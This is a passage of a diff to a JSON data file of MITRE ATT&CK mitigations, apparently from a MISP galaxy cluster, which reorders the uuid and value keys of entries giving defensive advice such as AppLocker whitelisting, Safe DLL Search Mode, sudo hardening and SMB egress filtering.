- "uuid": "ff5d862a-ae6b-4833-8c15-e235d654d28e",
"meta": {
"external_id": "T1122"
- }
+ },
+ "uuid": "ff5d862a-ae6b-4833-8c15-e235d654d28e",
+ "value": "Component Object Model Hijacking Mitigation - T1122"
},
{
"description": "Mitigations for command and control apply. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
- "value": "Exfiltration Over Command and Control Channel Mitigation - T1041",
- "uuid": "92c28497-2820-445e-9f3e-a03dd77dc0c8",
"meta": {
"external_id": "T1041"
- }
+ },
+ "uuid": "92c28497-2820-445e-9f3e-a03dd77dc0c8",
+ "value": "Exfiltration Over Command and Control Channel Mitigation - T1041"
},
{
"description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: GDSecurity Linux injection)\n\nIdentify or block potentially malicious software that may contain process injection functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nUtilize Yama (Citation: Linux kernel Yama) to mitigate ptrace based process injection by restricting the use of ptrace to privileged users only. Other mitigation controls involve the deployment of security kernel modules that provide advanced access control and process restrictions such as SELinux (Citation: SELinux official), grsecurity (Citation: grsecurity official), and AppAmour (Citation: AppArmor official).",
- "value": "Process Injection Mitigation - T1055",
- "uuid": "74febc44-8955-4e4d-aca0-d4dad2f967d7",
"meta": {
"external_id": "T1055"
- }
+ },
+ "uuid": "74febc44-8955-4e4d-aca0-d4dad2f967d7",
+ "value": "Process Injection Mitigation - T1055"
},
{
"description": "Remove users from the local administrator group on systems. Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as DLL Search Order Hijacking. \n\nCheck for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate. (Citation: Github UACMe)",
- "value": "Bypass User Account Control Mitigation - T1088",
- "uuid": "beb45abb-11e8-4aef-9778-1f9ac249784f",
"meta": {
"external_id": "T1088"
- }
+ },
+ "uuid": "beb45abb-11e8-4aef-9778-1f9ac249784f",
+ "value": "Bypass User Account Control Mitigation - T1088"
},
{
"description": "Audit and/or block command-line interpreters by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Command-Line Interface Mitigation - T1059",
- "uuid": "f28a20fd-d173-4603-807e-2cb3f51bdf04",
"meta": {
"external_id": "T1059"
- }
+ },
+ "uuid": "f28a20fd-d173-4603-807e-2cb3f51bdf04",
+ "value": "Command-Line Interface Mitigation - T1059"
},
{
"description": "Disallow loading of remote DLLs. (Citation: Microsoft DLL Preloading) This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+. (Citation: Microsoft DLL Search) Path Algorithm\n\nEnable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. %SYSTEMROOT%)to be used before local directory DLLs (e.g. a user's home directory). The Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode. The associated Windows Registry key for this is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\SafeDLLSearchMode (Citation: Microsoft DLL Search)\n\nUse auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through search order hijacking by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.",
- "value": "DLL Search Order Hijacking Mitigation - T1038",
- "uuid": "96913243-2b5e-4483-a65c-bb152ddd2f04",
"meta": {
"external_id": "T1038"
- }
+ },
+ "uuid": "96913243-2b5e-4483-a65c-bb152ddd2f04",
+ "value": "DLL Search Order Hijacking Mitigation - T1038"
},
{
"description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports. \n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
- "value": "Uncommonly Used Port Mitigation - T1065",
- "uuid": "a0d8db1d-a731-4428-8209-c07175f4b1fe",
"meta": {
"external_id": "T1065"
- }
+ },
+ "uuid": "a0d8db1d-a731-4428-8209-c07175f4b1fe",
+ "value": "Uncommonly Used Port Mitigation - T1065"
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire network share information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Network Share Discovery Mitigation - T1135",
- "uuid": "1f34230d-b6ae-4dc7-8599-78c18820bd21",
"meta": {
"external_id": "T1135"
- }
+ },
+ "uuid": "1f34230d-b6ae-4dc7-8599-78c18820bd21",
+ "value": "Network Share Discovery Mitigation - T1135"
},
{
"description": "Regsvcs and Regasm may not be necessary within a given environment. Block execution of Regsvcs.exe and Regasm.exe if they are not required for a given system or network to prevent potential misuess by adversaries.",
- "value": "Regsvcs/Regasm Mitigation - T1121",
- "uuid": "a90da496-b460-47e8-92e7-cc36eb00bd9a",
"meta": {
"external_id": "T1121"
- }
+ },
+ "uuid": "a90da496-b460-47e8-92e7-cc36eb00bd9a",
+ "value": "Regsvcs/Regasm Mitigation - T1121"
},
{
"description": "Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through Exploitation for Privilege Escalation. \n\nIf the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.",
- "value": "Application Deployment Software Mitigation - T1017",
- "uuid": "c88151a5-fe3f-4773-8147-d801587065a4",
"meta": {
"external_id": "T1017"
- }
+ },
+ "uuid": "c88151a5-fe3f-4773-8147-d801587065a4",
+ "value": "Application Deployment Software Mitigation - T1017"
},
{
"description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
- "value": "Commonly Used Port Mitigation - T1043",
- "uuid": "7c1796c7-9fc3-4c3e-9416-527295bf5d95",
"meta": {
"external_id": "T1043"
- }
+ },
+ "uuid": "7c1796c7-9fc3-4c3e-9416-527295bf5d95",
+ "value": "Commonly Used Port Mitigation - T1043"
},
{
"description": "Disabling WMI or RPCS may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI. Restrict other users who are allowed to connect, or disallow all users to connect remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)",
- "value": "Windows Management Instrumentation Mitigation - T1047",
- "uuid": "ba2ec548-fb75-4b8c-88d6-d91a77a943cf",
"meta": {
"external_id": "T1047"
- }
+ },
+ "uuid": "ba2ec548-fb75-4b8c-88d6-d91a77a943cf",
+ "value": "Windows Management Instrumentation Mitigation - T1047"
},
{
"description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all hooking will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.",
- "value": "Hooking Mitigation - T1179",
- "uuid": "7aee8ea0-0baa-4232-b379-5d9ce98352cf",
"meta": {
"external_id": "T1179"
- }
+ },
+ "uuid": "7aee8ea0-0baa-4232-b379-5d9ce98352cf",
+ "value": "Hooking Mitigation - T1179"
},
{
"description": "The sudoers file should be strictly edited such that passwords are always required and that users can’t spawn risky processes as users with higher privilege. By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.",
- "value": "Sudo Mitigation - T1169",
- "uuid": "23bff3ce-021c-4e7a-9aee-60fd40bc7c6c",
"meta": {
"external_id": "T1169"
- }
+ },
+ "uuid": "23bff3ce-021c-4e7a-9aee-60fd40bc7c6c",
+ "value": "Sudo Mitigation - T1169"
},
{
"description": "Modify Registry settings (directly or using Dcomcnfg.exe) in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\AppID\\{AppID_GUID} associated with the process-wide security of individual COM applications. (Citation: Microsoft Process Wide Com Keys)\n\nModify Registry settings (directly or using Dcomcnfg.exe) in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Ole associated with system-wide security defaults for all COM applications that do no set their own process-wide security. (Citation: Microsoft System Wide Com Keys) (Citation: Microsoft COM) ACL\n\nConsider disabling DCOM through Dcomcnfg.exe. (Citation: Microsoft Disable DCOM)\n\nEnable Windows firewall, which prevents DCOM instantiation by default.\n\nEnsure all COM alerts and Protected View are enabled. (Citation: Microsoft Protected View)",
- "value": "Distributed Component Object Model Mitigation - T1175",
- "uuid": "910482b1-6749-4934-abcb-3e34d58294fc",
"meta": {
"external_id": "T1175"
- }
+ },
+ "uuid": "910482b1-6749-4934-abcb-3e34d58294fc",
+ "value": "Distributed Component Object Model Mitigation - T1175"
},
{
"description": "Eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them (Citation: Microsoft CreateProcess). Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate (Citation: MSDN DLL Security). Clean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries.\n\nPeriodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations (Citation: Kanthak Sentinel). \n\nRequire that all executables be placed in write-protected directories. Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory C: and system directories, such as C:\\Windows\\, to reduce places where malicious files could be placed for execution.\n\nIdentify and block potentially malicious software that may be executed through the path interception by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies, (Citation: Corio 2008) that are capable of auditing and/or blocking unknown executables.",
- "value": "Path Interception Mitigation - T1034",
- "uuid": "e0703d4f-3972-424a-8277-84004817e024",
"meta": {
"external_id": "T1034"
- }
+ },
+ "uuid": "e0703d4f-3972-424a-8277-84004817e024",
+ "value": "Path Interception Mitigation - T1034"
},
{
"description": "Prevent adversaries from gaining access to credentials through Credential Access that can be used to log into remote desktop sessions on systems.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to log into remote interactive sessions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) and Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Graphical User Interface Mitigation - T1061",
- "uuid": "aaa92b37-f96c-4a0a-859c-b1cb6faeb13d",
"meta": {
"external_id": "T1061"
- }
+ },
+ "uuid": "aaa92b37-f96c-4a0a-859c-b1cb6faeb13d",
+ "value": "Graphical User Interface Mitigation - T1061"
},
{
"description": "It may be difficult or inadvisable to block access to EA and ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Symantec ADS May 2009) Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to hide information in EA and ADSs by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nConsider adjusting read and write permissions for NTFS EA, though this should be tested to ensure routine OS operations are not impeded. (Citation: InsiderThreat NTFS EA Oct 2017)",
- "value": "NTFS File Attributes Mitigation - T1096",
- "uuid": "ac008435-af58-4f77-988a-c9b96c5920f5",
"meta": {
"external_id": "T1096"
- }
+ },
+ "uuid": "ac008435-af58-4f77-988a-c9b96c5920f5",
+ "value": "NTFS File Attributes Mitigation - T1096"
},
{
"description": "Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.\n\nIdentify and block potentially malicious software that may be used by an adversary by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Indicator Removal from Tools Mitigation - T1066",
- "uuid": "4b998a71-7b8f-4dcc-8f3f-277f2e740271",
"meta": {
"external_id": "T1066"
- }
+ },
+ "uuid": "4b998a71-7b8f-4dcc-8f3f-277f2e740271",
+ "value": "Indicator Removal from Tools Mitigation - T1066"
},
{
"description": "Holding the Shift key while logging in prevents apps from opening automatically (Citation: Re-Open windows on Mac). This feature can be disabled entirely with the following terminal command: defaults write -g ApplePersistence -bool no.",
- "value": "Re-opened Applications Mitigation - T1164",
- "uuid": "61d02387-351a-453e-a575-160a9abc3e04",
"meta": {
"external_id": "T1164"
- }
+ },
+ "uuid": "61d02387-351a-453e-a575-160a9abc3e04",
+ "value": "Re-opened Applications Mitigation - T1164"
},
{
"description": "Restrict user's abilities to create Launch Agents with group policy.",
- "value": "Launch Agent Mitigation - T1159",
- "uuid": "121b2863-5b97-4538-acb3-f8aae070ec13",
"meta": {
"external_id": "T1159"
- }
+ },
+ "uuid": "121b2863-5b97-4538-acb3-f8aae070ec13",
+ "value": "Launch Agent Mitigation - T1159"
},
{
"description": "Other tools should be used to supplement Gatekeeper's functionality. Additionally, system settings can prevent applications from running that haven't been downloaded through the Apple Store which can help mitigate some of these issues.",
- "value": "Gatekeeper Bypass Mitigation - T1144",
- "uuid": "1a7f5bd3-f6ee-4bd7-b949-2f3632ad6158",
"meta": {
"external_id": "T1144"
- }
+ },
+ "uuid": "1a7f5bd3-f6ee-4bd7-b949-2f3632ad6158",
+ "value": "Gatekeeper Bypass Mitigation - T1144"
},
{
"description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Also ensure that these values contain their full path to prevent DLL Search Order Hijacking. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nConsider removing unnecessary and/or stale SIPs. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nRestrict storage and execution of SIP DLLs to protected directories, such as C:\\Windows, rather than user directories.\n\nEnable whitelisting solutions such as AppLocker and/or Device Guard to block the loading of malicious SIP DLLs. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented.",
- "value": "SIP and Trust Provider Hijacking Mitigation - T1198",
- "uuid": "ef273807-c465-4728-9cee-5823422f42ee",
"meta": {
"external_id": "T1198"
- }
+ },
+ "uuid": "ef273807-c465-4728-9cee-5823422f42ee",
+ "value": "SIP and Trust Provider Hijacking Mitigation - T1198"
},
{
"description": "Instead of blocking software based on clipboard capture behavior, identify potentially malicious software that may contain this functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Clipboard Data Mitigation - T1115",
- "uuid": "19edfa02-1a5f-47e4-ad82-3288f57f64cf",
"meta": {
"external_id": "T1115"
- }
+ },
+ "uuid": "19edfa02-1a5f-47e4-ad82-3288f57f64cf",
+ "value": "Clipboard Data Mitigation - T1115"
},
{
"description": "Ensure logging and detection mechanisms analyze commands after being processed/interpreted, rather than the raw input. Consider utilizing the Antimalware Scan Interface (AMSI) on Windows 10 for this functionality. (Citation: Microsoft AMSI June 2015)\n\nMitigation of compressed and encrypted files sent over the network and through email may not be advised since it may impact normal operations.",
- "value": "Obfuscated Files or Information Mitigation - T1027",
- "uuid": "a09375e5-63d2-4b65-8b0d-1cfe3e6304ca",
"meta": {
"external_id": "T1027"
- }
+ },
+ "uuid": "a09375e5-63d2-4b65-8b0d-1cfe3e6304ca",
+ "value": "Obfuscated Files or Information Mitigation - T1027"
},
{
"description": "Use and enforce multifactor authentication. Follow guidelines to prevent or limit adversary access to Valid Accounts that may be used to create privileged accounts within an environment.\n\nAdversaries that create local accounts on systems may have limited access within a network if access levels are properly locked down. These accounts may only be needed for persistence on individual systems and their usefulness depends on the utility of the system they reside on.\n\nProtect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.",
- "value": "Create Account Mitigation - T1136",
- "uuid": "9a5b7194-88e0-4579-b82f-e3c27b8cca80",
"meta": {
"external_id": "T1136"
- }
+ },
+ "uuid": "9a5b7194-88e0-4579-b82f-e3c27b8cca80",
+ "value": "Create Account Mitigation - T1136"
},
{
"description": "Because this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. Other mitigations can take place as User Execution occurs.",
- "value": "Spearphishing Link Mitigation - T1192",
- "uuid": "ad7f983d-d5a8-4fce-a38c-b68eda61bf4e",
"meta": {
"external_id": "T1192"
- }
+ },
+ "uuid": "ad7f983d-d5a8-4fce-a38c-b68eda61bf4e",
+ "value": "Spearphishing Link Mitigation - T1192"
},
{
"description": "Determine if certain social media sites, personal webmail services, or other service that can be used for spearphishing is necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.\n\nBecause this technique involves use of legitimate services and user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. To prevent the downloads from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.",
- "value": "Spearphishing via Service Mitigation - T1194",
- "uuid": "c861bcb1-946f-450d-ab75-d4e3c1103a56",
"meta": {
"external_id": "T1194"
- }
+ },
+ "uuid": "c861bcb1-946f-450d-ab75-d4e3c1103a56",
+ "value": "Spearphishing via Service Mitigation - T1194"
},
{
"description": "Identify and block potentially malicious software that may be executed through run key or startup folder persistence using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Registry Run Keys / Start Folder Mitigation - T1060",
- "uuid": "8b36d944-f274-4d46-9acd-dbba6927ce7a",
"meta": {
"external_id": "T1060"
- }
+ },
+ "uuid": "8b36d944-f274-4d46-9acd-dbba6927ce7a",
+ "value": "Registry Run Keys / Start Folder Mitigation - T1060"
},
{
"description": "Command and control infrastructure used in a multi-stage channel may be blocked if known ahead of time. If unique signatures are present in the C2 traffic, they could also be used as the basis of identifying and blocking the channel. (Citation: University of Birmingham C2)",
- "value": "Multi-Stage Channels Mitigation - T1104",
- "uuid": "514e7371-a344-4de7-8ec3-3aa42b801d52",
"meta": {
"external_id": "T1104"
- }
+ },
+ "uuid": "514e7371-a344-4de7-8ec3-3aa42b801d52",
+ "value": "Multi-Stage Channels Mitigation - T1104"
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Data Staged Mitigation - T1074",
- "uuid": "4320b080-9ae9-4541-9b8b-bcd0961dbbbd",
"meta": {
"external_id": "T1074"
- }
+ },
+ "uuid": "4320b080-9ae9-4541-9b8b-bcd0961dbbbd",
+ "value": "Data Staged Mitigation - T1074"
},
{
"description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new Launch Daemons.",
- "value": "Launch Daemon Mitigation - T1160",
- "uuid": "402e92cd-5608-4f4b-9a34-a2c962e4bcd7",
"meta": {
"external_id": "T1160"
- }
+ },
+ "uuid": "402e92cd-5608-4f4b-9a34-a2c962e4bcd7",
+ "value": "Launch Daemon Mitigation - T1160"
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Data from Removable Media Mitigation - T1025",
- "uuid": "39706d54-0d06-4a25-816a-78cc43455100",
"meta": {
"external_id": "T1025"
- }
+ },
+ "uuid": "39706d54-0d06-4a25-816a-78cc43455100",
+ "value": "Data from Removable Media Mitigation - T1025"
},
{
"description": "If the computer is domain joined, then group policy can help restrict the ability to create or hide users. Similarly, preventing the modification of the /Library/Preferences/com.apple.loginwindow Hide500Users value will force all users to be visible.",
- "value": "Hidden Users Mitigation - T1147",
- "uuid": "12cba7de-0a22-4a56-b51e-c514c67c3b43",
"meta": {
"external_id": "T1147"
- }
+ },
+ "uuid": "12cba7de-0a22-4a56-b51e-c514c67c3b43",
+ "value": "Hidden Users Mitigation - T1147"
},
{
"description": "Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.",
- "value": "Signed Script Proxy Execution Mitigation - T1216",
- "uuid": "51048ba0-a5aa-41e7-bf5d-993cd217dfb2",
"meta": {
"external_id": "T1216"
- }
+ },
+ "uuid": "51048ba0-a5aa-41e7-bf5d-993cd217dfb2",
+ "value": "Signed Script Proxy Execution Mitigation - T1216"
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from a network share, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Data from Network Shared Drive Mitigation - T1039",
- "uuid": "d9727aee-48b8-4fdb-89e2-4c49746ba4dd",
"meta": {
"external_id": "T1039"
- }
+ },
+ "uuid": "d9727aee-48b8-4fdb-89e2-4c49746ba4dd",
+ "value": "Data from Network Shared Drive Mitigation - T1039"
},
{
"description": "Prevent users from being able to write files to the search paths for applications, both in the folders where applications are run from and the standard dylib folders. If users can't write to these directories, then they can't intercept the search path.",
- "value": "Dylib Hijacking Mitigation - T1157",
- "uuid": "dc43c2fe-355e-4a79-9570-3267b0992784",
"meta": {
"external_id": "T1157"
- }
+ },
+ "uuid": "dc43c2fe-355e-4a79-9570-3267b0992784",
+ "value": "Dylib Hijacking Mitigation - T1157"
},
{
"description": "Use multifactor authentication. Follow guidelines to prevent or limit adversary access to Valid Accounts.\n\nProtect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.",
- "value": "Account Manipulation Mitigation - T1098",
- "uuid": "fdb1ae84-7b00-4d3d-b7dc-c774beef6425",
"meta": {
"external_id": "T1098"
- }
+ },
+ "uuid": "fdb1ae84-7b00-4d3d-b7dc-c774beef6425",
+ "value": "Account Manipulation Mitigation - T1098"
},
{
"description": "It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions. When PowerShell is necessary, restrict PowerShell execution policy to administrators and to only execute signed scripts. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration. (Citation: Netspi PowerShell Execution Policy Bypass) Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.",
- "value": "PowerShell Mitigation - T1086",
- "uuid": "d0415180-51e9-40ce-b57c-c332b0b441f2",
"meta": {
"external_id": "T1086"
- }
+ },
+ "uuid": "d0415180-51e9-40ce-b57c-c332b0b441f2",
+ "value": "PowerShell Mitigation - T1086"
},
{
"description": "Block SMB traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with whitelisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017)\n\nFor internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\n\nUse strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.",
- "value": "Forced Authentication Mitigation - T1187",
- "uuid": "7009ba4d-83d4-4851-9fbb-e09e28497765",
"meta": {
"external_id": "T1187"
- }
+ },
+ "uuid": "7009ba4d-83d4-4851-9fbb-e09e28497765",
+ "value": "Forced Authentication Mitigation - T1187"
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about the operating system and underlying hardware, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "System Information Discovery Mitigation - T1082",
- "uuid": "c620e3a1-fff5-424f-abea-d2b0f3616f67",
"meta": {
"external_id": "T1082"
- }
+ },
+ "uuid": "c620e3a1-fff5-424f-abea-d2b0f3616f67",
+ "value": "System Information Discovery Mitigation - T1082"
},
{
"description": "Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.",
- "value": "Exploitation for Defense Evasion Mitigation - T1211",
- "uuid": "37a3f3f5-76e6-43fe-b935-f1f494c95725",
"meta": {
"external_id": "T1211"
- }
+ },
+ "uuid": "37a3f3f5-76e6-43fe-b935-f1f494c95725",
+ "value": "Exploitation for Defense Evasion Mitigation - T1211"
},
{
"description": "Limit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.\n\nIdentify and block potentially malicious software that may be executed through the Winlogon helper process by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.",
- "value": "Winlogon Helper DLL Mitigation - T1004",
- "uuid": "313c8b20-4d49-40c1-9ac0-4c573aca28f3",
"meta": {
"external_id": "T1004"
- }
+ },
+ "uuid": "313c8b20-4d49-40c1-9ac0-4c573aca28f3",
+ "value": "Winlogon Helper DLL Mitigation - T1004"
},
{
"description": "Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (C:\\Windows\\System32\\ by default) of a domain controller and/or local computer with a corresponding entry in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages. (Citation: Microsoft Install Password Filter n.d)",
- "value": "Password Filter DLL Mitigation - T1174",
- "uuid": "00d7d21b-69d6-4797-88a2-c86f3fc97651",
"meta": {
"external_id": "T1174"
- }
+ },
+ "uuid": "00d7d21b-69d6-4797-88a2-c86f3fc97651",
+ "value": "Password Filter DLL Mitigation - T1174"
},
{
"description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by Windows utilities like AppLocker. (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker)",
- "value": "Netsh Helper DLL Mitigation - T1128",
- "uuid": "624d063d-cda8-4616-b4e4-54c04e427aec",
"meta": {
"external_id": "T1128"
- }
+ },
+ "uuid": "624d063d-cda8-4616-b4e4-54c04e427aec",
+ "value": "Netsh Helper DLL Mitigation - T1128"
},
{
